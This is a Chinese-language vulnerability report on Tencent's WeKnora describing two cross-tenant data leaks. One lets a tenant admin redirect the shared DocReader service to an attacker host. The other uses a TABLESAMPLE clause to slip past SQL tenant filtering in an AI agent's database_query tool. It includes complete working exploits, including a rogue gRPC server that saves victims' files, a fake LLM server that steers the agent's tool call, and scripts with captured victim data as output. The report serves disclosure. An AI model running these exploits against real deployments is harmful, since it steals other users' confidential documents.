# WeKnora 漏洞报告 软件名称:WeKnora 开发者或厂商:Tencent 代码仓库:https://github.com/Tencent/WeKnora ## 1. 租户可劫持全局文档解析服务 简要描述:任一租户的管理员可以把进程级 DocReader 连接改到自己的服务器,其他租户上传的文档原文会被发送到该服务器。 影响版本:0.3.2 ~ 0.9.0 前置条件:攻击者拥有一个租户的 Owner 或 Admin 角色(默认部署允许公开注册并自动创建个人空间成为 Owner,故攻击者注册账号即可满足这一条件) ### 漏洞成因 `POST /api/v1/system/docreader/reconnect` 只校验调用者在当前租户中的角色。相关代码如下: ```go // internal/router/routes_auth_tenant.go:282 commit f17ee8a8da systemRoutes.POST("/docreader/reconnect", g.Admin(), handler.ReconnectDocReader) ``` `g.Admin()` 的校验对象是租户角色,定义见 `internal/router/rbac.go:204-205`: ```go // internal/router/rbac.go:204-205 commit f17ee8a8da func (g *rbacGuards) Admin() gin.HandlerFunc { return middleware.RequireRole(types.TenantRoleAdmin, g.cfg) } ``` `TenantRoleAdmin` 是角色阶梯中的最低要求,`HasPermission` 按等级比较,Owner 的等级 40 高于 Admin 的 30,因此 Owner 也能通过该守卫。相关代码如下: ```go // internal/types/tenant_member.go:36-61 commit f17ee8a8da var tenantRoleLevel = map[TenantRole]int{ TenantRoleOwner: 40, TenantRoleAdmin: 30, TenantRoleContributor: 20, TenantRoleViewer: 10, } func (r TenantRole) HasPermission(required TenantRole) bool { return r.Level() >= required.Level() } ``` 处理器只对 `addr` 做一次 SSRF 校验,随后调用全局 `documentReader`: ```go // internal/handler/system.go:460-511 commit f17ee8a8da func (h *SystemHandler) ReconnectDocReader(c *gin.Context) { var req struct { Addr string `json:"addr" binding:"required"` } if err := c.ShouldBindJSON(&req); err != nil { c.JSON(400, gin.H{"code": 1, "msg": "请提供 addr 参数"}) return } // ... addr := strings.TrimSpace(req.Addr) if err := secutils.ValidateURLForSSRF(addr); err != nil { c.JSON(400, gin.H{"code": 1, "msg": secutils.FormatSSRFError("DocReader 地址", addr, err)}) return } if err := h.documentReader.Reconnect(addr); err != nil { c.JSON(200, gin.H{"code": 1, "msg": fmt.Sprintf("连接失败: %v", err)}) return } _, docreaderTransport := h.getDocReaderConnInfo() c.JSON(200, gin.H{"code": 0, "msg": "连接成功", "docreader_addr": addr, "docreader_transport": docreaderTransport, "connected": true}) } ``` `initDocReaderClient` 在容器启动时只注册一次,知识处理服务和系统处理器注入的是同一个 `interfaces.DocumentReader` 实例: ```go // internal/container/container.go:156 commit f17ee8a8da must(container.Provide(initDocReaderClient)) ``` `GRPCDocumentReader.Reconnect` 把新地址写入连接,后续 `Read` 使用该地址发送文档内容: ```go // internal/infrastructure/docparser/grpc_parser.go:85-96 commit f17ee8a8da func (p *GRPCDocumentReader) Reconnect(addr string) error { p.mu.Lock() defer p.mu.Unlock() if p.conn != nil { _ = p.conn.Close() p.conn = nil p.client = nil p.addr = "" } return p.connect(addr) } ``` ```go // internal/infrastructure/docparser/grpc_parser.go:140-152 commit f17ee8a8da protoReq := &proto.ReadRequest{ FileContent: req.FileContent, FileName: req.FileName, FileType: req.FileType, Url: req.URL, Title: req.Title, RequestId: req.RequestID, } ``` 鉴权按租户授予,被修改的对象却属于整个进程。任一租户管理员调用重连接口后,所有租户的文档都会发往该地址。 ### 复现环境搭建 按官方快速上手启动 v0.9.0: ```bash git clone https://github.com/Tencent/WeKnora.git cd WeKnora cp .env.example .env sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env docker compose pull docker compose up -d curl http://localhost:8080/health ``` 前端在 `http://localhost`,后端在 `http://localhost:8080`。复现使用官方 `wechatopenai/weknora-app:v0.9.0` 与 `wechatopenai/weknora-docreader:v0.9.0`。 ### 复现过程 攻击者在公网服务器上启动 gRPC 服务,本文使用域名 `attacker.yulun.ac.cn`。攻击者服务实现如下: ```python import logging from concurrent import futures import grpc from docreader.proto import docreader_pb2, docreader_pb2_grpc logging.basicConfig(level=logging.INFO) class Server(docreader_pb2_grpc.DocReaderServicer): def Read(self, request, context): data = request.file_content logging.info( "CAPTURED read file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r", request.file_name, request.file_type, len(data), dict(request.config.parser_engine_overrides), data[:64], ) with open("captured.bin", "wb") as handle: handle.write(data) return docreader_pb2.ReadResponse(markdown_content="# captured by attacker\n", metadata={"engine": "evil"}) def ReadStream(self, request, context): data = request.file_content logging.info( "CAPTURED stream file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r", request.file_name, request.file_type, len(data), dict(request.config.parser_engine_overrides), data[:64], ) with open("captured.bin", "wb") as handle: handle.write(data) yield docreader_pb2.ReadStreamResponse(meta=docreader_pb2.ReadStreamMeta( markdown_content="# captured by attacker\n", image_count=0)) def ListEngines(self, request, context): return docreader_pb2.ListEnginesResponse(engines=[ docreader_pb2.ParserEngineInfo(name="evil", description="evil", available=True) ]) def PreprocessImage(self, request, context): return docreader_pb2.PreprocessImageResponse() def GetInfo(self, request, context): return docreader_pb2.GetInfoResponse(version="evil", commit_id="evil") server = grpc.server(futures.ThreadPoolExecutor(max_workers=4)) docreader_pb2_grpc.add_DocReaderServicer_to_server(Server(), server) server.add_insecure_port("0.0.0.0:50051") server.start() logging.info("evil docreader listening on 50051") server.wait_for_termination() ``` 在攻击服务器上,将上面的服务保存为当前目录下的 `evil_docreader.py`。然后执行: ```bash mkdir -p docreader/proto wget -q -O docreader/proto/docreader_pb2.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2.py wget -q -O docreader/proto/docreader_pb2_grpc.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2_grpc.py touch docreader/__init__.py docreader/proto/__init__.py uv run --with grpcio --with protobuf python evil_docreader.py > evil.log 2>&1 & ``` 在浏览器注册受害者账号 `victim@report.local`,创建知识库 `victim-kb`,上传一份 PDF,等待状态变为“已完成”: ![受害租户的知识库](img/f1-victim-kb.png) 注册攻击者账号 `attacker@report.local`,执行以下脚本: ```python import httpx BASE = "http://127.0.0.1:8080" ATTACKER_ADDR = "attacker.yulun.ac.cn:50051" def post(path, body, token=None): headers = {"Authorization": "Bearer " + token} if token else {} return httpx.post(BASE + path, json=body, headers=headers) post("/api/v1/auth/register", { "username": "attacker", "email": "attacker@report.local", "password": "Attacker@123", }) token = post("/api/v1/auth/login", { "email": "attacker@report.local", "password": "Attacker@123", }).json()["token"] response = post("/api/v1/system/docreader/reconnect", { "addr": ATTACKER_ADDR, }, token) result = response.json() print(response.status_code) print({key: result[key] for key in ("code", "connected", "docreader_addr", "docreader_transport", "msg")}) ``` 脚本输出如下: ```text 200 {'code': 0, 'connected': True, 'docreader_addr': 'attacker.yulun.ac.cn:50051', 'docreader_transport': 'grpc', 'msg': '连接成功'} ``` 受害租户随后上传文档,攻击者服务收到原始文件: ```text INFO:root:CAPTURED stream file_name='text.pdf' file_type='pdf' bytes=90060 overrides={} content_prefix=b'%PDF-1.7\n%\xc3\xa4\xc3\xbc\xc3\xb6\xc3\x9f\n2 0 obj\n<>\n' ``` 在攻击者容器中计算捕获文件的哈希,并与受害租户上传的 PDF 对照: ```text 7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 captured.bin 7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7 text.pdf ``` app 日志显示受害租户的解析结果已被攻击者返回的 Markdown 替换: ```text [DocReader] Chunk #0 内容预览: # captured by attacker ``` ## 2. 数据库查询工具绕过租户隔离 简要描述:`database_query` 工具的 SQL 重写只处理普通表引用和 JOIN,攻击者可以把一张表放进 TABLESAMPLE 子句,再用另一张普通表通过校验,从而读取其他租户的 chunks 正文。 影响版本:0.2.11 ~ 0.9.0 前置条件:攻击者拥有一个租户的 Owner 或 Admin 角色,能配置自己的模型并把 `database_query` 加入自定义智能体。 ### 漏洞成因 `database_query` 在执行 SQL 前调用 `ValidateAndSecureSQL`,该函数用 `pg_query` 解析语句并重写 FROM 子句。相关代码如下: ```go // internal/agent/tools/database_query.go:252-277 commit f17ee8a8da func (t *DatabaseQueryTool) validateAndSecureSQL(sqlQuery string, tenantID uint64) (string, error) { searchScopes := searchScopesFromTargets(t.searchTargets) if len(searchScopes) == 0 { return "", fmt.Errorf("no effective Agent knowledge scope is available") } securedSQL, validationResult, err := utils.ValidateAndSecureSQL( sqlQuery, utils.WithSecurityDefaults(tenantID), utils.WithSoftDeleteFilter("knowledge_bases", "knowledges", "chunks"), utils.WithHiddenKBFilter(), utils.WithChunkEnabledFilter(), utils.WithInjectionRiskCheck(), utils.WithSearchScopes(searchScopes), ) if err != nil { return "", err } if !validationResult.Valid { var errMsgs []string for _, valErr := range validationResult.Errors { errMsgs = append(errMsgs, fmt.Sprintf("%s: %s", valErr.Type, valErr.Message)) } return "", fmt.Errorf("validation failed: %s", strings.Join(errMsgs, "; ")) } return securedSQL, nil } ``` 重写函数只识别 `RangeVar` 和 `JoinExpr`,其他 FROM 节点返回 nil: ```go // internal/utils/inject.go:937-975 commit f17ee8a8da injectFrom = func(node *pg_query.Node) error { if rv := node.GetRangeVar(); rv != nil { alias := rv.Relname if rv.Alias != nil { alias = rv.Alias.Aliasname } tables := map[string]string{strings.ToLower(rv.Relname): quoteSQLIdentifier(alias)} fragment := "SELECT 1" fragment = validator.injectTenantConditions(fragment, tables) fragment = validator.injectSoftDeleteConditions(fragment, tables) fragment = validator.injectHiddenKBFilter(fragment, tables) fragment = validator.injectChunkEnabledFilter(fragment, tables) fragment = validator.injectSearchScopeConditions(fragment, tables) filters, err := pg_query.Parse(fragment) if err != nil { return fmt.Errorf("failed to build SQL security filter: %w", err) } addSQLPredicate(stmt, filters.Stmts[0].Stmt.GetSelectStmt().WhereClause) } if join := node.GetJoinExpr(); join != nil { if err := injectFrom(join.Larg); err != nil { return err } return injectFrom(join.Rarg) } return nil } ``` 校验函数同样只处理 `RangeVar`、`JoinExpr`、`RangeSubselect` 和 `RangeFunction`,末尾返回 nil: ```go // internal/utils/inject.go:1508-1568 commit f17ee8a8da func (v *sqlValidator) validateFromItem(node *pg_query.Node, tables map[string]string, result *SQLValidationResult) error { if node == nil { return nil } if rv := node.GetRangeVar(); rv != nil { tableName := strings.ToLower(rv.Relname) // ... alias := tableName if rv.Alias != nil && rv.Alias.Aliasname != "" { alias = strings.ToLower(rv.Alias.Aliasname) } tables[tableName] = alias return nil } if je := node.GetJoinExpr(); je != nil { if err := v.validateFromItem(je.Larg, tables, result); err != nil { return err } if err := v.validateFromItem(je.Rarg, tables, result); err != nil { return err } if je.Quals != nil { if err := v.validateNode(je.Quals, result); err != nil { return err } } return nil } if rss := node.GetRangeSubselect(); rss != nil { if v.checkSubqueries { return fmt.Errorf("subqueries in FROM clause are not allowed") } return v.validateSubquery(rss.Subquery, tables, result) } if node.GetRangeFunction() != nil { return fmt.Errorf("functions in FROM clause are not allowed") } return nil } ``` `RangeTableSample` 节点没有对应分支,校验和重写都会跳过它。攻击者用一张普通表满足“至少有一个有效表”的检查,把真正要读取的表放进 `TABLESAMPLE`: ```sql SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50 ``` 重写后的 SQL 只给 `b` 加租户条件,`c` 没有条件: ```sql SELECT c.content FROM chunks c TABLESAMPLE bernoulli(100), knowledge_bases b WHERE b.tenant_id = 10001 LIMIT 50 ``` ### 复现环境搭建 清空环境后,按官方快速上手重新启动 v0.9.0: ```bash cd WeKnora docker compose down -v cp .env.example .env sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env docker compose pull docker compose up -d curl http://localhost:8080/health ``` ### 复现过程 攻击者在 `attacker.yulun.ac.cn:8000` 上准备一个 OpenAI 兼容服务,对 `chat/completions` 返回 `database_query` 的 tool_call。最小服务如下: ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json import re SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50" DIM = 1024 class Handler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.endswith("/models"): self.send_response(404) self.end_headers() return body = json.dumps({"object": "list", "data": [{"id": "fake-1", "object": "model"}]}).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_POST(self): if not (self.path.endswith("/chat/completions") or self.path.endswith("/embeddings")): self.send_response(404) self.end_headers() return length = int(self.headers.get("Content-Length", 0)) request = json.loads(self.rfile.read(length) or b"{}") if self.path.endswith("/embeddings"): inputs = request.get("input") or [] if isinstance(inputs, str): inputs = [inputs] body = json.dumps({ "object": "list", "data": [{"object": "embedding", "index": i, "embedding": [0.01] * DIM} for i in range(len(inputs))], "model": request.get("model", "fake-embed"), }).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) return messages = request.get("messages") or [] text = "".join(str(message.get("content") or "") for message in messages) has_tool_result = any(message.get("role") == "tool" for message in messages) match = None if has_tool_result else re.search(r"SQLQUERY:(.+)$", text, re.S) tool_call = None if match: tool_call = { "index": 0, "id": "call_sql", "type": "function", "function": {"name": "database_query", "arguments": json.dumps({"sql": match.group(1).strip()})}, } stream = request.get("stream", False) content = None if tool_call else "FAKE_OK" if stream: delta = {"role": "assistant", "content": content} if tool_call: delta["tool_calls"] = [tool_call] first = { "id": "chatcmpl-1", "object": "chat.completion.chunk", "created": 1, "model": "fake", "choices": [{"index": 0, "delta": delta, "finish_reason": None}], } last = { "id": "chatcmpl-1", "object": "chat.completion.chunk", "created": 1, "model": "fake", "choices": [{"index": 0, "delta": {}, "finish_reason": "tool_calls" if tool_call else "stop"}], } body = ("data: " + json.dumps(first) + "\n\ndata: " + json.dumps(last) + "\n\ndata: [DONE]\n\n").encode() self.send_response(200) self.send_header("Content-Type", "text/event-stream") else: message = {"role": "assistant", "content": content} if tool_call: message["tool_calls"] = [tool_call] body = json.dumps({ "id": "chatcmpl-1", "object": "chat.completion", "created": 1, "model": "fake", "choices": [{"index": 0, "message": message, "finish_reason": "tool_calls" if tool_call else "stop"}], }).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) HTTPServer(("0.0.0.0", 8000), Handler).serve_forever() ``` 在攻击服务器上,将上面的服务保存为当前目录下的 `fake_llm.py`,然后执行: ```bash python3 fake_llm.py > fake_llm.log 2>&1 & ``` 受害租户注册后创建知识库,embedding 模型指向 `http://attacker.yulun.ac.cn:8000/v1` 并设置维度 1024,上传 `secret.md`,内容为 `VICTIM_SECRET_CHUNK_CONTENT_98765`: ![受害租户的知识库](img/f2-victim-kb.png) 注册攻击者账号 `attacker@report.local`,执行以下脚本创建模型、知识库、智能体和会话,然后发送 SQL 查询: ```python import httpx BASE = "http://127.0.0.1:8080" ATTACKER_DOMAIN = "attacker.yulun.ac.cn" SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50" def post(path, body, token=None): headers = {"Authorization": "Bearer " + token} if token else {} return httpx.post(BASE + path, json=body, headers=headers) post("/api/v1/auth/register", { "username": "attacker", "email": "attacker@report.local", "password": "Attacker@123", }) token = post("/api/v1/auth/login", { "email": "attacker@report.local", "password": "Attacker@123", }).json()["token"] model = post("/api/v1/models", { "name": "fake-chat", "type": "KnowledgeQA", "source": "remote", "parameters": { "base_url": f"http://{ATTACKER_DOMAIN}:8000/v1", "api_key": "sk-fake", "interface_type": "openai", }, }, token).json()["data"] kb = post("/api/v1/knowledge-bases", { "name": "attacker-kb", "description": "x", "type": "document", }, token).json()["data"] agent = post("/api/v1/agents", { "name": "sql-agent", "description": "x", "config": { "agent_mode": "smart-reasoning", "agent_type": "custom", "model_id": model["id"], "allowed_tools": ["database_query", "thinking", "todo_write"], "kb_selection_mode": "selected", "knowledge_bases": [kb["id"]], "mcp_selection_mode": "none", "skills_selection_mode": "none", }, }, token).json()["data"] session = post("/api/v1/sessions", {"title": "sql"}, token).json()["data"] response = post("/api/v1/agent-chat/" + session["id"], { "query": "SQLQUERY:" + SQL, "agent_enabled": True, "agent_id": agent["id"], "knowledge_base_ids": [kb["id"]], "channel": "web", "disable_title": True, }, token) print(response.status_code) print(response.text) ``` 脚本输出的工具结果包含受害租户的 chunk: ```text 200 data:{"id":"d73b155e-2514-418e-824b-fba455cd9666","response_type":"tool_result","content":"Tool completed (database_query; payload omitted from history)","done":false,"data":{"columns":["content"],"display_type":"database_query","duration_ms":164,"error":"","row_count":1,"rows":[{"content":"VICTIM_SECRET_CHUNK_CONTENT_98765\n"}],"success":true,"tool_call_id":"call_sql","tool_name":"database_query"}} ``` 受害租户自己的 chunk 列表可以确认该内容属于 tenant 10000: ```text knowledge 6103813e-0ace-41ec-b077-a3f3da11bc26 status completed VICTIM_SECRET_CHUNK_CONTENT_98765 ```